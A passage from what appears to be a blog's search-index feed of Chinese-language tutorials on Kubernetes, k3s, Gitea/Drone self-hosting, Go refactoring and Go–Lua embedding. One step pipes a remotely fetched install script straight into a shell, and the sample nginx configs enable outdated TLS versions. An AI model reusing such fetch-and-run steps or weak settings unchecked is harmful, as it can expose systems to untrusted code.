設定好後，接下來我們要進到 k8s 裡面最小的部署單位 POD。k8s 裡面很多 resource object 都是以 POD 型態存在。 所以我們在部署我們自己的 APP 前，首先就是要先了解 POD。\n進入今天的議題之前，請先確保自己對於 docker 、 container 之間的關係是熟悉的，如果還不熟的讀者，請先 google 預習一下。\nPOD 特性 包含多個 container 同一 POD 中的 container 可以直接以 127.0.0.1 的方式，互相溝通。 同一個 POD 中的 container 共享那個 POD 的 volume 同一個 POD 中的 container 是同時被調度 (因為 k8s 最小部署單位是 POD 不是 container) 所以縱歸以上幾點，可以把 k8s 的 node 當成是一台虛擬機，POD 的當成像虛擬機裡面的 docker，所以你可以在虛擬機裡面透過 docker 跑很多 container 。\n那一定會有人疑惑問，為什麼不直接操作 container 而是要多設計一層 POD 來包裝呢?\n官方文件有這樣敘述\nPods are designed to support multiple cooperating processes (as containers) that form a cohesive unit of service. The containers in a Pod are automatically co-located and co-scheduled on the same physical or virtual machine in the cluster. The containers can share resources and dependencies, communicate with one another, and coordinate when and how they are terminated.\n建立 POD 這邊後面會講到，其實實務上，都不建議大家直接操作 POD ，而是希望大家操作 Deployment，透過 Deployment 才能運用到 k8s 的強大功能 ex scale \u0026hellip;.\n先把下面的文字存成 first-pod.yaml\napiVersion: v1 ## k8s 版本號 kind: Pod ## 服務類型 metadata: name: first-pod ## Pod 的名稱 spec: containers: - name: first-container ## container 的名稱 image: nginx ## 映像檔位置 ports: ## 暴露 port 給其他資源存取 - containerPort: 80 然後下指令\nkubectl --kubeconfig ~/.kube/k3s.yaml apply -f first-pod.yaml 接下來應該會看到\npod/first-pod created 檢查 POD kubectl --kubeconfig ~/.kube/k3s.yaml get pods 會看到\nNAME READY STATUS RESTARTS AGE first-pod 1/1 Running 0 43s 刪除 POD kubectl --kubeconfig ~/.kube/k3s.yaml delete -f first-pod.yaml 總結 這樣就完成了基礎的 POD 新增修改步驟，大家可以嘗試著自己寫看看部署 yaml ，試著自己部署在自己的環境看看。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day5-what-is-pod/","summary":"\u003cp\u003e在本機把 k3s 設定好後，接下來我們要進到 k8s 裡面最小的部署單位 POD。k8s 裡面很多 resource object 都是以 POD 型態存在。 所以我們在部署我們自己的 APP 前，首先就是要先了解 POD。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day5] k8s POD 介紹"},{"content":"今天要來聊聊 k8s (k3s) 的操作介面，也就是 kubectl，它是 k8s 提供出來的 cli 版介面，可以透過它資源控制、部署 APP、觀察 cluster 狀態\u0026hellip;。\n昨天文章有聊到，透過下面指令可以進入到虛擬機\nmultipass shell test-k3s 預設裝完 k3s ，其實裡面就有搭載 kubectl 可以操作。\n但今天假設我們要模擬其實虛擬機是在雲端，實務上也不會 ssh 到該機器才去操作 kubectl ，所以我們還是需要在自己的開發本機安裝 kubectl\n這邊提供 官網 的安裝方式，基本上各種 OS 都有支援。\n設定 安裝完後，因為我們是透過 multipass + k3s 所組成的，所以設定上稍稍有點不一樣的方式。\n先把 k3s 的設定檔移到自己的本機目錄。\nmultipass exec test-k3s sudo cat /etc/rancher/k3s/k3s.yaml \u0026gt; ~/.kube/k3s.yaml 然後透過下面語法查詢你的 K3S IP\nmultipass info test-k3s 以我的本機的狀態會得到如下\nName: test-k3s State: Running IPv4: 192.168.64.8 Release: Ubuntu 20.04.1 LTS Image hash: 995771784f85 (Ubuntu 20.04 LTS) Load: 0.56 0.58 0.64 Disk usage: 2.0G out of 4.7G Memory usage: 599.4M out of 981.4M 取 IPv4 裡面的 IP 去剛剛複製出來的 k3s.yaml 替換 server: https://127.0.0.1:6443 裡面的 127.0.0.1\n然後接下來照著下面的操作方式就可以透過本機的 kubectl 去操作你虛擬機裡的 k3s 了\nkubectl --kubeconfig ~/.kube/k3s.yaml get nodes 只要有看到下面類似文字就代表成功了\nNAME STATUS ROLES AGE VERSION test-k3s Ready master 18h v1.18.8+k3s1 如果有其他 kubeconfig 的設定該如何兼容呢？ 只要把 config export 出來即可\nexport KUBECONFIG=~/.kube/config:~/.kube/k3s.yaml 這樣之後，透過\n# 因為預設 k3s 的 cluster name 為 default 有需要修改的可以自行修改 k3s.yaml kubectl config use-context default 以後指令就可以直接下，只要 context 切對，就可以不需要加入 --kubeconfig。\n$ kubectl get nodes NAME STATUS ROLES AGE VERSION test-k3s Ready master 12d v1.18.8+k3s1 ","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day4-how-to-install-kubectl/","summary":"\u003cp\u003e今天要來聊聊 k8s (k3s) 的操作介面，也就是 kubectl，它是 k8s 提供出來的 cli 版介面，可以透過它資源控制、部署 APP、觀察 cluster 狀態\u0026hellip;。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day4] 如何安裝 kubectl"},{"content":"今天開始要介紹怎麽在自己本機運行 k8s ，我們所用到的工具為 multipass ，但考量到輕量化，我們會使用 k8s 的另一個延伸版 k3s 來實作，下面就來依依介紹。\nmultipass multipass 是 Ubuntu 所發展的接近 docker 的技術，但又不像 vmware or virtualbox 這類虛擬機操作起來那麼肥大。\n下面舉例是用 MacOS 當作範例，如果有其他 OS 的安裝需求請移駕 官網，他有支援 Windows、Linux。\nInstall By Homebrew brew cask install multipass 如果需要用 PKG 安裝 官網 也有提供 (寫這篇文章時版本是1.4.0)\nInstall K3S k3s 為 Rancher Labs 釋出的輕量級 k8s。\nRancher Labs推出新的Kubernetes開源專案K3s，這是一個輕量級大小只有40ＭB，且易於安裝的Kubernetes發布版本，專為資源有限和低互動的系統而設計，適用於邊緣應用、物聯網、持續整合以及ARM等使用情境。K3s現可用於x86_64、ARMv7和ARM64系統上執行。\nref ithome news\n首先要像使用 vmware or virtualbox 一樣要先建立一台虛擬機，取名叫做 test-k3s。\nmultipass launch -n test-k3s 預設是 1 CPU 1GB RAM 、5GB DISK，如果需要客製化請參考 multipass 文件。\n預載 OS 是 Ubuntu LTS\n安裝完後可以確認一下虛擬機的狀態可以下\nmultipass info test-k3s 應該可以看如下面顯示的內容\n再來我們可以就要安裝 k3s 可以依照 官方 GITHUB 快速安裝\nmultipass exec test-k3s -- bash -c \u0026#34;curl -sfL https://get.k3s.io | K3S_KUBECONFIG_MODE=644 sh -\u0026#34; 如果後面沒有設定 K3S_KUBECONFIG_MODE 在操作 k3s 會有錯誤訊息 WARN[2020-09-09T13:49:32.937048689+08:00] Unable to read /etc/rancher/k3s/k3s.yaml, please start server with --write-kubeconfig-mode to modify kube config permissions error: error loading config file \u0026quot;/etc/rancher/k3s/k3s.yaml\u0026quot;: open /etc/rancher/k3s/k3s.yaml: permission denied\n安裝完成後，可以 ssh 進去這台虛擬機可以用下面指令\nmultipass shell test-k3s 進去後可以下\nkubectl get node 可以看到以下畫面\n這樣就完成了一個 k3s 的基礎安裝，只要 ssh 進去虛擬機就能開始操作。\n下一篇我們再來談一些怎麼在本機(非 ssh 進去虛擬機) 使用 kubectl。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day3-how-to-use-multipass-install-k3s/","summary":"\u003cp\u003e今天開始要介紹怎麽在自己本機運行 k8s ，我們所用到的工具為 multipass ，但考量到輕量化，我們會使用 k8s 的另一個延伸版 k3s 來實作，下面就來依依介紹。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day3] 如何運用 multipass 安裝 k3s"},{"content":"今天開始進入 k8s 基礎介紹的環節，首先 k8s 是一個主從式的架構設計，主要分成 Master \u0026amp; Node，下面我們來看看這張 k8s 的架構圖。\nref wiki\nMaster Node etcd 一個類似 redis 的 key value 輕量型資料庫(不過他比 redis 更強，有分散式的特性 )，主要是拿來儲存各個 cluster 的整體狀態以及配置資訊。\napi server 所有 k8s 對外或內部呼叫的 api 呼叫入口。\nscheduler 負責整個 k8s 排成更新對應時間應該要做的事情，或是固定時間追蹤節點上的資源利用，避免負載超載\ncontroller manager 整個 k8s 的控制器，用負責控制 POD的編排部署。\nWorker Node Pod 我們所熟悉的 container 都是放在 POD 裡面，POD 負責管理 container 的生命週期\nkube-proxy 負責 k8s proxy 跟 load balance 所有應用，它可以依據外部請求，把流量轉導到該服務上。\ncAdvisor 用來監控收集每個 node 上面的 CPU RAM \u0026hellip;. 等相關資源\n總結 在 k8s 裡面 node 可以當作我們之前常見的實體 VM，一個 node 就是等於加開一台機器。 POD 其實就約略等同於container （雖然一個 POD 可以部署多個 container)，但基本上可以理解成，一個 POD 就是一個服務。\n所以從這個架構中我們可以看到，這個模式就很像上古時代上程式時，需要透過 FTP 把檔案上傳到某個 server ，才算完成部署，但是後續我們需要特別對那台 server 做很多營運相關監控，如果未來需要 scale，我們還需要另外再加開 VM。\n不過現在我們透過 k8s 其實你可以不用管會上傳到哪台 server (Node)，k8s 會自動幫你做資源調度，你也能隨時監控你每個服務目前運行的狀態。\n下一篇我們開始進入到安裝的部分。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day2-k8s-basic-introduction/","summary":"\u003cp\u003e今天開始進入 k8s 基礎介紹的環節，首先 k8s 是一個主從式的架構設計，主要分成 Master \u0026amp; Node，下面我們來看看這張 k8s 的架構圖。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day2] k8s 基礎介紹"},{"content":"kubernates (以下簡稱 k8s )，是這幾年所流行的一個技術架構，因為這個架構帶動了很多相關議題 ex DEVOPS , MICROSERVICES，不管在 DEV \u0026amp; OPS 上，都需要新的觀念導入，甚至在 CI/CD 上面也有各種不同的工具雨後春筍般的冒出來。接下來的 30 天會稍微簡單介紹一下，整條 k8s 生態鏈我曾經用過的一些東西。讓大家能夠有一個粗淺的了解\n在進入正題之前，首先不免俗會需要先介紹，什麼叫做 k8s，下面引用自 wiki\nKubernetes（在希臘語意為「舵手」或「駕駛員」）由Joe Beda、Brendan Burns和Craig McLuckie創立，並由其他Google工程師，包括Brian Grant和Tim Hockin等進行加盟創作，並由Google在2014年首次對外宣布 。該系統的開發和設計都深受Google的Borg系統的影響，其許多頂級貢獻者之前也是Borg系統的開發者。在Google內部，Kubernetes的原始代號曾經是Seven，即星際迷航中的Borg（博格人）。Kubernetes標識中舵輪有七個輪輻就是對該專案代號的致意。\nKubernetes v1.0於2015年7月21日釋出。隨著v1.0版本釋出，Google與Linux 基金會合作組建了Cloud Native Computing Foundation（CNCF）並將Kubernetes作為種子技術來提供。\nRancher Labs在其Rancher容器管理平台中包含了Kubernetes的釋出版。Kubernetes也在很多其他公司的產品中被使用，例如Red Hat的OpenShift，CoreOS的Tectonic， IBM的IBM私有雲產品，精靈雲的EcOS，以及 VMware的PKS等等。\n而現今資訊界常見的縮寫手法「K8s」則是將「ubernete」八個字母縮寫為「8」而來。\n那到底 k8s 有什麼好？ 在我的觀念中，k8s 的誕生，是讓 DEV 更靠近 OPS 一點，以前的 RD 的分工可能會切成 \u0026ldquo;DEV\u0026rdquo; \u0026ldquo;OPS\u0026rdquo;，但是現在有了 k8s 這個框架，則變成 \u0026ldquo;DEVOPS\u0026rdquo;，讓開發人員更可以用很方便的方式去操作系統架構面的東西，這是這個世代的工程師都必須要了解的一個東西，不管你原本是站在 \u0026ldquo;DEV\u0026rdquo; 或者是 \u0026ldquo;OPS\u0026rdquo;。\n下面是我覺得他的幾個優點\n幫助開發者可以輕易的掌握 OPS 情況，可以更輕易滿足專注開發 所有 OPS 相關的操作，都有對應的 api 可以使用 ex 擴展，分配 cpu \u0026amp; ram 在雲端平台上 (aws,gcp,azure)，更是得心應手，可以輕鬆的調度實體機器 or CPU or RAM。 在看這個系列之前，我覺得閱讀者需要先有 container 的觀念，才比較容易進入接下來的說明，因為 k8s everything is container\u0026hellip;。\n下面是預計接下來30天預計會進行的五大區塊主題\n簡介 k8s 基礎知識 本地安裝 k8s (這邊會用 k8s 另一個發行版 k3s 來實作) helm 介紹 istio 使用介紹 觀測相關工具介紹 ","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day1-why-use-k8s/","summary":"\u003cp\u003ekubernates (以下簡稱 k8s )，是這幾年所流行的一個技術架構，因為這個架構帶動了很多相關議題 ex DEVOPS , MICROSERVICES，不管在 DEV \u0026amp; OPS 上，都需要新的觀念導入，甚至在 CI/CD 上面也有各種不同的工具雨後春筍般的冒出來。接下來的 30 天會稍微簡單介紹一下，整條 k8s 生態鏈我曾經用過的一些東西。讓大家能夠有一個粗淺的了解\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day1] 為什麼要用 k8s"},{"content":"最近心血來潮，想說來挑戰看看，linode $5 方案，可以做哪些事情。剛好之前就一直想把自己 github \u0026amp; gitea 上的服務做一個 CI \u0026amp; CD 整合。\n首先，自己的 linode 全面 container 化，所以任何服務在上面都是已 container 化執行。在這裡我們先做 gitea的安裝\nGITEA: sudo docker run -d --name=gitea -p {{YOUR_GIT_SSH_PORT}}:22 -p {{YOUR_GITA_HTTP_PORT}}:3000 -v {{YOUR_PATH}}:/data gitea/gitea:1.7.4 NGINX CONF: 這樣就很輕鬆的啟動了 gitea。雖然我有把 port export 出來，但那是為了一些除錯方便，但基本上我最外層都有掛上一個 nginx 做 reverse_proxy ， 下面是我 gitea nginx 的設定檔\nserver { #listen 80; #listen [::]:80; listen 443 ssl; ssl_certificate /etc/letsencrypt/live/syhlion.tw/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/syhlion.tw/privkey.pem; server_name {{YOUR_DOMAIN}}; access_log /tmp/nginx-proxy-access.log; error_log /tmp/nginx-proxy-error.log debug; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDH+AESGCM:EDCH+AES256:ECDH+AES128:!MD5:!aNULL; ssl_prefer_server_ciphers on; client_max_body_size 40M; ssl_session_cache shared:SSL:10m; ssl_session_timeout 1h; ssl_stapling on; ssl_stapling_verify on; location / { proxy_pass http://{{YOUR_GITEA_CONTAINER_NAME}}:3000; } } server { listen 80; server_name {{YOUR_DOMAIN}}; return 301 https://$host$request_uri; } 在這邊順邊連兩套 drone 的 nginx 設定也一併弄一弄，分別如下\n為什麼要用兩個 drone instance ，因為 drone 的機制下，一個 instance 只能跟一個 git services 認證，所以今天我要 github \u0026amp; gitlab 都能擁有 drone 的機制，我就必須啟動兩個 instance，相對也必須要有個 domain\nGITHUB DRONE NGINX CONF: server { #listen 80; #listen [::]:80; listen 443 ssl; ssl_certificate /etc/letsencrypt/live/syhlion.tw/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/syhlion.tw/privkey.pem; server_name {{YOUR_DRONE_DOMAIN_FOR_GITHUB}}; access_log /tmp/nginx-proxy-access.log; error_log /tmp/nginx-proxy-error.log debug; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDH+AESGCM:EDCH+AES256:ECDH+AES128:!MD5:!aNULL; ssl_prefer_server_ciphers on; client_max_body_size 40M; ssl_session_cache shared:SSL:10m; ssl_session_timeout 1h; ssl_stapling on; ssl_stapling_verify on; location / { log_not_found on; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_redirect off; proxy_http_version 1.1; proxy_buffering off; chunked_transfer_encoding off; proxy_pass http://{{YOUR_DRONE_FOR_GITHUB_CONTAINER_NAME}}; } } server { listen 80; server_name {{YOUR_DRONE_DOMAIN_FOR_GITHUB}}; return 301 https://$host$request_uri; } GITEA NGINX CONF: server { #listen 80; #listen [::]:80; listen 443 ssl; ssl_certificate /etc/letsencrypt/live/syhlion.tw/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/syhlion.tw/privkey.pem; server_name {{YOUR_DRONE_DOMAIN_FOR_GITEA}}; access_log /tmp/nginx-proxy-access.log; error_log /tmp/nginx-proxy-error.log debug; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDH+AESGCM:EDCH+AES256:ECDH+AES128:!MD5:!aNULL; ssl_prefer_server_ciphers on; client_max_body_size 40M; ssl_session_cache shared:SSL:10m; ssl_session_timeout 1h; ssl_stapling on; ssl_stapling_verify on; location / { log_not_found on; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_redirect off; proxy_http_version 1.1; proxy_buffering off; chunked_transfer_encoding off; proxy_pass http://{{YOUR_DRONE_FOR_GITEA_CONTAINER_NAME}}; } } server { listen 80; server_name {{YOUR_DRONE_DOMAIN_FOR_GITEA}}; return 301 https://$host$request_uri; } 我自己的 ssl 是用 letsencrypt，有興趣可以參考我之前的 如何讓 letsencrypt 用在 docker nginx 上面 DRONE: 再來就是啟動 drone image，語法如下\ngithub:\nsudo docker run \\ --volume=/var/run/docker.sock:/var/run/docker.sock \\ --volume={{YOUR_DATA_PATH}}:/data \\ --env=DRONE_GITHUB_SERVER=https://github.com \\ --env=DRONE_GITHUB_CLIENT_ID={{YOUR_GITHUB_CLIENT_ID}} \\ --env=DRONE_GITHUB_CLIENT_SECRET={{YOUR_GITHUB_CLIENT_SECRET}} \\ --env=DRONE_RUNNER_CAPACITY=1 \\ --env=DRONE_SERVER_HOST={{YOUR_DRONE_FOR_GITHUB_DOMAIN}} \\ --env=DRONE_SERVER_PROTO=https \\ --env=DRONE_TLS_AUTOCERT=true \\ --publish={{YOUR_DRONE_FOR_GITHUB_EXPORT_80PORT}}:80 \\ --publish={{YOUR_DRONE_FOR_GITHUB_EXPORT_443PORT}}:443 \\ --restart=always \\ --detach=true \\ --name={{YOUR_DRONE_FOR_GITHUB_CONTAINER_NAME}} \\ drone/drone:1.0.0-rc.6 在這邊需要在 github 註冊 oauth app。 github doc\ngitea:\nsudo docker run \\ --volume=/var/run/docker.sock:/var/run/docker.sock \\ --volume=/home/scott/drone_data2:/data \\ --env=DRONE_GITEA_SERVER=https://git.syhlion.tw \\ --env=DRONE_GIT_ALWAYS_AUTH=false \\ --env=DRONE_RUNNER_CAPACITY=1 \\ --env=DRONE_SERVER_HOST={{YOUR_DRONE_DOMAIN_FOR_GITEA}} \\ --env=DRONE_SERVER_PROTO=https \\ --env=DRONE_TLS_AUTOCERT=false \\ --publish={{YOUR_DRONE_FOR_GITEA_EXPORT_80PORT}}:80 \\ --publish={{YOUR_DRONE_FOR_GITEA_EXPORT_443PORT}}:443 \\ --restart=always \\ --detach=true \\ --name={{YOUR_DRONE_FOR_GITEA_CONTAINER_NAME}} \\ drone/drone:1.0.0-rc.6 NGINX: 最後再啟動 nginx image\nsudo docker run --name {{YOUR_NGINX_CONTAINER_NAME}} -p 80:80 -p 443:443 --link {{YOUR_DRONE_FOR_GITEA_CONTAINER_NAME}}:{{YOUR_DRONE_FOR_GITEA_CONTAINER_NAME}} --link {{YOUR_DRONE_FOR_GITHUB_CONTAINER_NAME}}:{{YOUR_DRONE_FOR_GITHUB_CONTAINER_NAME}} --link {{YOUR_GITEA_CONTAINER_NAME}}:{{YOUR_GITEA_COMTAINER_NAME}} -v {{YOUR_NGINX_CONF_PATH}}:/etc/nginx/conf.d/ -v /etc/letsencrypt:/etc/letsencrypt -v {{YOUR_WWW_PATH}}:/usr/share/nginx/html -d nginx 目前使用心得，在 linode $5 美金，只有1 core 的情況下，跑起來還算可以，不愧都是用 golang 寫的服務，除了 build 過程稍慢，但畢竟是自用，只求方便不求效率來說，這個方案的確是非常便宜好用的。\n","permalink":"https://blog.syhlion.tw/2019/03/linode-install-gitea-and-drone/","summary":"\u003cp\u003e最近心血來潮，想說來挑戰看看，linode $5 方案，可以做哪些事情。剛好之前就一直想把自己 github \u0026amp; gitea 上的服務做一個 CI \u0026amp; CD 整合。\u003c/p\u003e","title":"linode 5美金方案 架設 gitea \u0026 drone"},{"content":"進到了最後一天，剛好『雙11』結束沒多久，在『雙11』當天，台灣兩大購物平台紛紛掛點。那剛好敝公司也有類似的經驗，那今天就來談談，我如何重構敝公司的系統優化，把原本的 php 重構成 golang，改善瞬間流量的問題。\n首先，為什麼一個系統會掛點？我個人最終覺得就是一個問題，每個 request 的處理速度不夠快，只要 request 處理不夠快，最前面的服務就會開始卡連線，造成一連串的雪崩效應。當然任何東西還是有所謂的物理極限所在，所以當 request 數量多一多，每一台機器單個 request 處理速度一定會等比上升。\n舉個例子好了，敝公司當時有一個服務單個 request 平均時間約是 800ms，當時用壓力測試工具對它做壓測，設定 1000 req/s，這時測起來，數據想當然慘不忍睹，平均時間拉到 2s 以上了，這個回應時間如果拉的越長，想當然會佔用服務的 port 越久，所以持續下去就會造成服務整個 crash。\n所以就開始重構的計畫，重構有歷史的 code ，需要非常大量的閱讀，但是大致上整理出當時的幾個消耗點，如果直接針對那幾點做優化，我相信也能拉低平均的 reqeust 時間。\n過多的防禦邊界，每個套件間都在做重複的驗證，造成一個 request 可能重複驗證了3-4次以上。 不合理的 sql query，重複在迴圈裡 query 相同東西。 不合理的 sql 語法。 那接下來，我們來介紹一下重構的思維，因為一些敏感的議題，所以我們這邊先類比成一個購物最後結帳的 api，我們大致上的流程有下面流程\n確認使用者身份 確認優惠卷是否有效 如有一人限買一個的限制特別做做檢查 結帳扣款完成交易 那正常的設計流程圖如下\n就是很直線的方式，沒有什麼不對，但其實可以仔細思考，2、3 兩點其實是可以抽出來平行處理做檢查的，如果 2、3 每個各需要花費 50ms，用直線的方式處理，就至少吃了 100ms，所以總時間花費需要 200ms。那為什麼會挑 2、3 出來說呢？ 因為 1 是身份驗證，沒有 1 後面什麼都不能做。4 則是扣款也是一個很獨立的流程。反之 2、3 他跟主流成沒有絕對的前後依賴關係，所以讓他們平行處理我覺得再適合不過了，利用 golang 的特性，我相信很容易做到下圖\n雖然使用 goroutine 很方便，但是畢竟它是併發運算(concurrency)，而不是平行運算(parallel)，一定有會有一些 CPU context switch 的相關消耗，所以這邊假設兩個流程併發處理是 60ms，而不是變成 50ms。 這邊還是要注意，不要太過於依賴 goroutine ，任何系統開發都還是有所謂的資源限制，在前面 Day 26『Golang Concurrency Pattern 』有簡單介紹，如何控管 goroutine 數量，有興趣的可以往前閱讀。\n用上面的方式就有別於 php ，運用 golang 的特性，去做效能上的提升，當然裡面還有不少細節在裡面，礙於一些敏感議題，不太適合公開介紹，只能做一些概念性的講解。\n感謝 很高興，終於進入第十屆 ithome鐵人賽最後一天，當初也是參加了 modernweb2018，才興起的參加念頭。一開始給自己的目標就是，自己在公司內也投入三年多的資源在 golang 上面，大小專案也都陸續上線，這中間自己也踩了不少雷，雖然有替同仁做幾堂簡單的簡報教學，但是如果能更有系統的做一系列的教學文件，或許能更幫助新進同仁、甚至回饋給更多想加入 golang 這個社群的人，畢竟在 opensource 圈裡，社群越大，也代表相關資源工具會越多，大家開發起來也就越方便，是一種正向的提升。\n在這過程中，還好一開始有人提點，先把30天的大標先列起來放，相對的再進行這30天的過程中，會比較輕鬆。這點建議對我來說受益良多，所以我也蠻建議後續想要參賽的參賽者，如果你的背景像我一樣，是一個初次在網路上連續分享的人，真的強烈建議，參賽前先把大綱列好，中間可以動態調整沒關係。不然像我上班也有上班該要的進度、回家還有小孩要顧、甚至六日都會有一些家庭活動，如果沒先有個底，參賽起來壓力非常之大。不過如果是平常常在網路上做分享、信手捻來就是文章的人，其實就不需要像我這樣，做預先準備。\n最後還是要感謝公司的同仁們、主管們，畢竟參賽期間心力並沒有100%放在工作上，也感謝之前有參賽過的前輩們，第一次參賽，有參考過歷屆前輩們的文章，參考要怎麼鋪陳，拆章節。最後也感謝 ithome 辦這個活動，讓大家有個動力可以分享更多東西出來。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day30-refactore-php-to-golang/","summary":"\u003cp\u003e進到了最後一天，剛好『雙11』結束沒多久，在『雙11』當天，台灣兩大購物平台紛紛掛點。那剛好敝公司也有類似的經驗，那今天就來談談，我如何重構敝公司的系統優化，把原本的 php 重構成 golang，改善瞬間流量的問題。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day30 從 PHP 重構為 Golang 經驗談"},{"content":"我相信在很多系統上，很多效能瓶頸會在 database ，尤其是一些帳戶系統，如果無法解決扣款時 ACID 的相關議題，那壓力其實最終都會壓在 database 的單點上，在敝公司設計這相關系統時，我使用了另一個方式來做設計。當然下面介紹的東西，要用其他語言實現也不是不行，不過敝公司是選擇使用 golang 實現就是了。\n首先我們先看下面的圖，這是一張我個人覺得蠻標準的一個扣款系統大致上的架構\n就如上面所講的，當大量 request 進來時，紅色區塊(wallet)的地方，會造 loading 最重的地方，而且如果當 database latency 開始拉高時，會開始出現雪崩效應，連帶的連前面的 application 、 load balance，都會因為 database 而開始出現堆連線的情況。在這種情況下，整個系統全部 crash 都有可能。\n接下來我們試著想想，如何不讓 database latency，而且可以讓 application 可以很快的處理完連線，並且釋放掉它，避免堆連線的情況，所以我導入了 Message Quene，來幫助我達成這件事情，我們先看看架構圖\n關於 Message Quene 我列了下面優點\n解偶 (A服務不用認識服務 etc…) 靈活性 (B服務需要知道服務的一些資訊，不需要A服務另外開接口) 擴展性 (可以做到類似gearman 派工分散處理) 緩衝 (一瞬間大量耗資源處理的需求進來，可以buffer住) 異步處理 (大量耗資源處理需求進來，不會讓請求端卡住) 由上面可以看到，透過 Message Quene 的協助，並且用出 producer、consumer 來協助減壓 wallet，在這個設計的理念上 user 其實並沒有馬上收到扣款成功的 response ，而是透過其他機制來做通知，user 當下只會收到扣款『預約』，並不代表完成扣款，當然這個機制，就看商業上的需求，也許可以用 websocket 即時同知，或是請 user 去其它頁面來做查詢。\n敝公司在 Message Quene 的選擇上，是選擇 nsq，為什麼選擇它呢？\ngolang 撰寫 非常容易 scalable 架設非常容易 當然 Message Quene 在市面也有非常多的選擇，這邊稍微列一下我所知道的\nRabbitMQ NSQ Kafka Redis 運用 Message Quene 可以就可以非常容易使用事件驅動(event trigger)，在運用上非常的彈性，我非常推薦在系統的架構設計上，加入這個元素，可以讓整個系統更富有彈性。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day29-how-to-design-the-non-blocking-debit-system/","summary":"\u003cp\u003e我相信在很多系統上，很多效能瓶頸會在 database ，尤其是一些帳戶系統，如果無法解決扣款時 ACID 的相關議題，那壓力其實最終都會壓在 database 的單點上，在敝公司設計這相關系統時，我使用了另一個方式來做設計。當然下面介紹的東西，要用其他語言實現也不是不行，不過敝公司是選擇使用 golang 實現就是了。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day29 如何設計一個非阻塞式的扣款系統"},{"content":"在這個 k8s 當道的時代，任何東西都要 container 化，當然我們也稍微介紹一下，如果用 Docker 編譯 golang image 。\n首先我們要先準備一個 http api 會回應 Hello World 範例，如有對 docker 不了解的，可以先移步閱讀 Docker \u0026ndash; 從入門到實踐，這樣會比較好了解下面的相關範例。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/ping\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Hello World\u0026#34;) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 這邊有列出，可以 build golang 的 image，在這邊列出使用 alpine 當作範例，撰寫 dockerfile 如下\nFROM golang:1.11.2-alpine WORKDIR /helloworld ADD . /helloworld RUN cd /helloworld \u0026amp;\u0026amp; go build EXPOSE 8080 ENTRYPOINT ./helloworld 再來只要執行 docker 指令就完成了\n//這邊是做 image 建立的動作 大家可以把 yourname 取代成自己想要名稱，後面則為你的專案名稱 docker build -t yourname/helloworld . //這邊就是執行 image 讓他成為 container， --rm 代表執行完接著刪掉 container -p 代表把 cotainer 的 port 對接到你本機的實體 port docker run --rm -p 8080:8080 -d yourname/helloworld 這時只要用瀏覽器訪問 http://127.0.0.1:8080/ping 就能看到 Hello World 。\n整個 golang 的基礎介紹大致上到今天就差不多告一個段落了，剩下兩天的課程，預計會以公司的一些專案架構拿來分享，當然一些敏感的問題，會適當的轉化成比較通俗的應用。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day28-use-docker-build-golang-image/","summary":"\u003cp\u003e在這個 k8s 當道的時代，任何東西都要 container 化，當然我們也稍微介紹一下，如果用 Docker 編譯 golang image 。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day28 使用 Docker build 一個 Golang image"},{"content":"今天來介紹一個比較特別的應用，就是如何在 golang 使用 lua ，這種的應用場景通常會在一個固定流程裡面，但裡面有不同的商業邏輯，用 OOP(Object-oriented programming) 的 pattern 來解釋就是所謂的工廠模式，裡面產生的東西會有不同的邏輯，那些邏輯很適合用 lua 去寫。\n首先我們會需要可以在 golang 裡面執行 lua 的 package，那我個人蠻推薦這套的 yuin/gopher-lua。\n首先，先執行\ngo get go get github.com/yuin/gopher-lua\n而且要 golang version 1.9 以上喔\n再來，我們先來個 hello world\nfunc main() { L := lua.NewState() defer L.Close() if err := L.DoString(`print(\u0026#34;hello world\u0026#34;)`); err != nil { panic(err) } } 它也可以直接讀取一個 lua file\nfunc main() { L := lua.NewState() defer L.Close() if err := L.DoFile(\u0026#34;helloworld.lua\u0026#34;); err != nil { panic(err) } } 再來玩一個比較花俏一點的應用，在 lua 裡面呼叫 golang 定義好的 func，\n有些應用下，讓 golang 來負責運算速度上會快很多，以我實務上的經驗，光是 each 陣列之類的應用，golang的速度都快上不少。雖然會需要消耗一點 golang 跟 lua 上面 type 轉換的消耗，但我覺得還是很值得這樣使用的。畢竟在一些效能上不用錙銖必較，反而是商業邏輯相當複雜比重又很高的應用場景，就是 lua 的戰場。\nfunc Loader(L *lua.LState) int { mod := L.SetFuncs(L.NewTable(), exports) L.Push(mod) return 1 } var exports = map[string]lua.LGFunction{ \u0026#34;add\u0026#34;: Add, } func Add(l *lua.LState) int { //lua 跟一般語言不一樣，他是 1 index base ，其他語言都是 0 index 